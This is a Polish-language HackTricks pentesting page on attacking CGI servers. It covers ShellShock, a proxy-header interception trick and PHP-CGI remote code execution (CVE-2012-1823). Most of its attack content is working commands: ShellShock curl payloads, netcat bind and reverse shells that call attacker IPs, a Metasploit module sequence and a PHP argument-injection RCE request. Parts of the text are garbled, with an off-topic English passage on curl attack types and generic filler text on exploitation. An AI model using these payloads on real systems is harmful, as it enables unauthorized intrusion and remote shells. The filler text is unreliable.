hacktricks/network-services-pentesting/pentesting-web/cgi.md
2024-02-11 01:46:25 +00:00

151 lines
12 KiB
Markdown

<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
# Informacje
**Skrypty CGI są skryptami perl**, więc jeśli zdobyłeś dostęp do serwera, który może wykonywać skrypty _**.cgi**_, możesz **przesłać odwróconą powłokę perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonania** \(`chmod +x`\) i **uzyskać dostęp** do odwróconej powłoki **z przeglądarki internetowej**, aby ją uruchomić.
Aby przetestować podatności **CGI**, zaleca się użycie `nikto -C all` \(i wszystkich wtyczek\)
# **ShellShock**
**ShellShock** to **podatność**, która dotyczy powszechnie używanego powłoki wiersza poleceń **Bash** w systemach operacyjnych opartych na Unix. Celuje w zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Podatność polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznie nazwanymi wartościami, wpływającymi na sposób działania procesów na komputerze. Atakujący mogą wykorzystać to, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. Pozwala to atakującym potencjalnie naruszyć system.
Wykorzystując tę podatność, **strona może wygenerować błąd**.
Możesz **odnaleźć** tę podatność, zauważając, że używana jest **stara wersja Apache** i **cgi\_mod** \(z folderem cgi\) lub używając **nikto**.
## **Test**
Większość testów polega na wyświetleniu czegoś i oczekiwaniu, że ten ciąg zostanie zwrócony w odpowiedzi sieciowej. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(odzwierciedlony, ślepy i z wykorzystaniem kanałów pobocznych\)**
Curl is a command-line tool that allows you to make HTTP requests. It can be used for various purposes, including testing and debugging web applications. In the context of web application penetration testing, Curl can be used to perform reflected, blind, and out-of-band attacks.
### **Reflected Attacks**
In a reflected attack, the payload is included in the request and the server reflects it back in the response. This can be used to exploit vulnerabilities such as Cross-Site Scripting (XSS). Curl can be used to send a request with a payload and analyze the response to determine if the payload is being reflected.
### **Blind Attacks**
In a blind attack, the payload is included in the request, but the response does not directly reveal the result of the attack. This can be used to exploit vulnerabilities such as Blind SQL Injection. Curl can be used to send requests with different payloads and analyze the response to infer information about the underlying system.
### **Out-of-Band Attacks**
In an out-of-band attack, the payload triggers a separate communication channel to send information from the target system to an external server controlled by the attacker. This can be used to exploit vulnerabilities such as Server-Side Request Forgery (SSRF) or to exfiltrate data from the target system. Curl can be used to send requests with payloads that trigger out-of-band communication and analyze the responses received on the external server.
Curl is a versatile tool that can be used in various scenarios during web application penetration testing. Understanding its capabilities and how to use it effectively can greatly enhance the testing process.
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Wykorzystanie
### Wprowadzenie
Wykorzystanie to proces wykorzystywania podatności w celu uzyskania nieautoryzowanego dostępu lub wykonania niepożądanych działań na systemie. W przypadku aplikacji CGI (Common Gateway Interface), wykorzystanie może obejmować manipulację parametrami żądania, wywoływanie niebezpiecznych poleceń lub wykorzystywanie podatności w skryptach CGI.
### Wykorzystanie podatności w skryptach CGI
Aby wykorzystać podatność w skryptach CGI, należy najpierw zidentyfikować potencjalne podatności, takie jak:
- Podatności związane z manipulacją parametrami żądania, takie jak podatność na wstrzyknięcie SQL lub podatność na wstrzyknięcie kodu PHP.
- Podatności związane z niebezpiecznymi poleceniami, takie jak podatność na wstrzyknięcie poleceń systemowych.
- Podatności związane z nieprawidłowym zarządzaniem plikami, takie jak podatność na wstrzyknięcie plików.
Po zidentyfikowaniu podatności można przystąpić do wykorzystania ich w celu uzyskania nieautoryzowanego dostępu lub wykonania niepożądanych działań. Przykładowe techniki wykorzystania podatności w skryptach CGI obejmują:
- Wstrzyknięcie kodu PHP lub SQL poprzez manipulację parametrami żądania.
- Wywołanie niebezpiecznych poleceń systemowych poprzez wstrzyknięcie poleceń.
- Wstrzyknięcie plików, które mogą prowadzić do wykonania niepożądanych działań.
### Wykorzystanie podatności w serwerach CGI
Podatności w serwerach CGI mogą być wykorzystywane w celu uzyskania nieautoryzowanego dostępu do systemu lub wykonania niepożądanych działań. Przykładowe techniki wykorzystania podatności w serwerach CGI obejmują:
- Wykorzystanie podatności w serwerze CGI do uzyskania dostępu do plików systemowych lub bazy danych.
- Wykorzystanie podatności w serwerze CGI do wykonania niebezpiecznych poleceń systemowych.
- Wykorzystanie podatności w serwerze CGI do przekierowania ruchu sieciowego lub ataku typu Denial of Service (DoS).
### Wykorzystanie podatności w aplikacjach CGI
Podatności w aplikacjach CGI mogą być wykorzystywane w celu uzyskania nieautoryzowanego dostępu do systemu lub wykonania niepożądanych działań. Przykładowe techniki wykorzystania podatności w aplikacjach CGI obejmują:
- Wykorzystanie podatności w aplikacji CGI do uzyskania dostępu do danych użytkowników.
- Wykorzystanie podatności w aplikacji CGI do wykonania niebezpiecznych operacji na danych.
- Wykorzystanie podatności w aplikacji CGI do przekierowania ruchu sieciowego lub ataku typu Denial of Service (DoS).
### Podsumowanie
Wykorzystanie podatności w aplikacjach CGI, serwerach CGI i skryptach CGI jest powszechną techniką stosowaną przez hakerów w celu uzyskania nieautoryzowanego dostępu lub wykonania niepożądanych działań. Aby zabezpieczyć system przed wykorzystaniem podatności CGI, należy regularnie aktualizować oprogramowanie, przeprowadzać audyty bezpieczeństwa i stosować najlepsze praktyki programistyczne.
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM do żądań serwera WWW\)**
CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" jest tworzone jako "HTTP\_HOST"="web.com"
Ponieważ zmienna HTTP\_PROXY może być używana przez serwer WWW, spróbuj wysłać **nagłówek** zawierający: "**Proxy: &lt;IP\_atakującego&gt;:&lt;PORT&gt;**", a jeśli serwer wykonuje jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer.
# Stary PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
W zasadzie, jeśli cgi jest aktywne, a php jest "stare" \(&lt;5.3.12 / &lt; 5.4.2\), można wykonać kod.
Aby wykorzystać tę podatność, musisz uzyskać dostęp do pewnego pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\).
Następnie, aby przetestować tę podatność, można na przykład uzyskać dostęp do `/index.php?-s` \(zauważ "-s"\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**.
Następnie, aby uzyskać **RCE**, można wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **kod PHP** do wykonania w **treści żądania**.
Przykład:
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Więcej informacji na temat podatności i możliwych ataków:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Przykład rozwiązania CTF**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>